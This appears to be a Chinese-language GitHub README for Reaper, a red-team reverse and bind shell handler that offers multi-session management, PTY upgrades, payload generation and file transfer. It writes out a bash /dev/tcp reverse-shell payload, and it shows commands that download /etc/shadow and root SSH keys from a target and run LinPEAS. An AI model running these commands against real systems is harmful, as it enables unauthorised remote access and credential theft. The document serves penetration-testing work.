z3r0s6/Reaper

GitHub: z3r0s6/Reaper

Reaper 是一个为红队和渗透测试人员打造的多会话反向/绑定 Shell 处理程序,具备自动 PTY 升级、动态端口管理和模块化扩展能力。

Stars: 3 | Forks: 0

# Reaper ![Python](https://img.shields.io/badge/python-3.9+-blueviolet?style=for-the-badge&logo=python&logoColor=white) ![Linux](https://img.shields.io/badge/Linux-FCC624?style=for-the-badge&logo=linux&logoColor=black) ![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white) **Reaper** 是一个为渗透测试人员构建的多会话反向/绑定 Shell 处理程序。 ## 功能 | 功能 | 详情 | |---|---| | **多会话** | 同时处理无限个 Shell。列出、切换和挂起会话。 | | **多监听器** | 同时绑定到多个端口 (`-p 4444,5555,9001`)。 | | **动态端口管理** | 运行时添加或移除端口,无需重启。 | | **自动 PTY 升级** | Shell 自动升级为完整的 PTY,无需手动升级。 | | **Windows 支持** | 通过 ConPtyShell 自动升级 PowerShell/CMD。 | | **会话日志** | 每个会话自动记录日志到 `~/.reaper/logs/`。 | | **文件上传** | 通过 TCP 将本地文件推送到目标。 | | **文件下载** | 从目标拉取文件或整个目录。 | | **HTTP 文件服务器** | `reaper -s ./tools` 或在提示符下使用 `serve .`。 | | **绑定 Shell** | `reaper -c ` 向外连接到绑定 Shell。 | | **Payload 生成** | 内置适用于 bash、python、php、perl、ruby、nc、socat、powershell 等的 payload。 | | **模块系统** | 可通过热重载 (`reload`) 扩展的模块。 | | **Tab 补全** | 感知上下文的命令、会话 ID、模块名称、接口、端口补全。 | | **截图模式** | 隐藏命令,用于隐藏 IP 以便安全分享截图。 | | **干净的信号** | `Ctrl+Z` 挂起会话。`Ctrl+C` 将 SIGINT 转发给远程。 | ## 安装 ``` git clone https://github.com/z3r0s6/Reaper cd Reaper pipx install --editable . ``` ## 使用说明 ### 启动监听器 ``` # 默认值: 0.0.0.0:4444 reaper # 自定义端口 reaper -p 9001 # 启动时使用多个端口 reaper -p 4444,5555,9001 # 绑定到特定接口 reaper -i tun0 -p 4444 ``` ### 连接到绑定 Shell ``` reaper -c 10.10.10.50 -p 4444 ``` ### 通过 HTTP 提供文件服务 ``` # 在 :8000 上提供当前目录 reaper -s . # 在自定义端口上提供特定文件 reaper -s /opt/tools/linpeas.sh --serve-port 9090 ``` ### 显示接口的 Payload ``` reaper -a tun0 reaper -a eth0 ``` ### 禁用会话日志 ``` reaper -L reaper --log-dir /tmp/reaper-logs ``` ### 快速测试(本地) 打开两个终端: ``` # 终端 1 启动 Reaper reaper # 终端 2 连接测试 shell nc 127.0.0.1 4444 ``` 终端 1 中将出现一个会话。输入 `go 1` 与其进行交互。 ## 工作原理 当 Shell 连接时,Reaper 会自动: 1. 将 Shell 升级为完整的 PTY 2. 通知您它已准备就绪 ``` [☠] 10.10.14.5:44321 connected → #1 [✓] Shell #1 auto-upgraded to PTY. ``` 只需输入 `go 1` 即可进入。 ## Shell 命令 ### 会话管理 | 命令 | 描述 | |---|---| | `ls` | 列出所有会话 | | `go ` | 与一个会话进行交互 | | `upgrade ` | 手动将 Shell 升级为 PTY | | `kill ` | 终止一个会话 | | `log ` | 显示会话的日志文件路径 | ### 端口管理 | 命令 | 描述 | |---|---| | `listeners` | 列出所有活跃的监听器 | | `addport ` | 开始监听一个新端口(无需重启) | | `rmport ` | 停止监听一个端口 | ``` reaper❯ addport 9001 [✓] Now listening on port 9001. reaper❯ rmport 9001 [✓] Stopped listening on port 9001. ``` ### Payload 生成 需要接口名称: ``` reaper❯ payloads tun0 reaper❯ payloads eth0 ``` 每个 Payload 的名称和命令将分行显示,方便复制: ``` ════════════════════════════════════════════ ☠ tun0 → 10.10.14.5:4444 ──────────────────────────────────────────── [01] bash bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" [02] python3 python3 -c 'import os,pty,socket;...' ``` ### 模块 ``` reaper❯ modules reaper❯ run sysinfo 1 reaper❯ run upload 1 /local/file.sh /tmp/file.sh reaper❯ run download 1 /etc/passwd reaper❯ run download_dir 1 /etc reaper❯ run linpeas 1 reaper❯ run linpeas 1 -o /tmp/output.txt reaper❯ reload ``` ### HTTP 服务器(在主菜单中) ``` reaper❯ serve /opt/tools 8888 reaper❯ serve . reaper❯ stopserve ``` ### 杂项 ``` reaper❯ listeners reaper❯ help reaper❯ exit ``` ## 快捷键(会话内) | 按键 | 动作 | |---|---| | `Ctrl+Z` | 挂起会话,返回主菜单 | | `Ctrl+C` | 向远程进程发送 SIGINT | ## Tab 补全 提示符完全感知上下文: | 输入内容 | Tab 补全 | |---|---| | `go ` | 活跃会话 ID | | `upgrade ` | 活跃会话 ID | | `kill ` | 活跃会话 ID | | `log ` | 活跃会话 ID | | `run ` | 模块名称 | | `run ` | 活跃会话 ID | | `payloads ` | 网络接口 | | `rmport ` | 活跃监听端口 | | *(第一个单词)* | 所有命令 | ## 编写自定义模块 有关完整指南,请参阅 [MODULES.md](MODULES.md)。 快速示例: ``` from reaper.modules.blueprint import ReaperModule class MyModule(ReaperModule): name = "my_module" description = "Does something cool." category = "Enumeration" platform = ["linux"] def run(self) -> None: result = self.exec("whoami") self.ok(f"Running as: {result.stdout.strip()}") ``` 将文件放入 `src/reaper/modules/` 并热重载: ``` reaper❯ reload ``` ## 文件传输 ### 上传(本地 → 远程) ``` reaper❯ run upload 1 /home/kali/tools/linpeas.sh /tmp/linpeas.sh ``` ### 下载(远程 → 本地) ``` reaper❯ run download 1 /etc/shadow reaper❯ run download 1 /root/.ssh/id_rsa ./loot/id_rsa ``` ### 下载整个目录 ``` reaper❯ run download_dir 1 /etc ./loot/etc.tar.gz ``` ## 会话日志 日志会自动写入 `~/.reaper/logs/`: ``` session___.log ``` 查找某个会话的日志路径: ``` reaper❯ log 1 [·] Session #1 log: /home/kali/.reaper/logs/session_1_10.10.14.5_20260101_120000.log ``` ## 截图模式 隐藏所有 IP 地址,以便安全地分享截图或录屏。 ``` reaper❯ _reaper_screenable_ [·] Screenable mode ON ``` 在帮助和 Tab 补全中隐藏。 ## 项目结构 ``` Reaper/ ├── README.md ├── MODULES.md ├── pyproject.toml └── src/ └── reaper/ ├── main.py # CLI entry point & argument parsing ├── listener.py # Core listener, session management, command loop ├── session.py # Session model, logging, RawTerminal ├── detect.py # OS auto-detection ├── cli.py # Help text ├── server.py # HTTP file server ├── models.py # CommandResult, StreamLine ├── modules/ │ ├── blueprint.py # ReaperModule base class │ ├── loader.py # Dynamic module loader (hot-reload) │ ├── sysinfo.py # System enumeration │ ├── upload.py # File upload (local → remote) │ ├── download.py # File download + directory archive │ └── linpeas.py # LinPEAS in-memory runner └── utils/ ├── ui.py # Colors, ASCII art, notifications, spinner, boxes ├── tcp.py # TCP one-shot send/recv servers └── payloads.py # Reverse-shell payload generator ```
标签:C2基础设施, C2框架, Netcat替代, Payload生成, PTY升级, Python, Shell处理器, 反向Shell, 命令与控制, 多会话管理, 安全学习资源, 安全攻防, 安全测试, 开源安全工具, 攻击性安全, 攻击路径可视化, 文件传输, 无后门, 红队基础设施, 绑定Shell, 网络安全, 自动化Shell升级, 逆向工程平台, 隐私保护, 黑客工具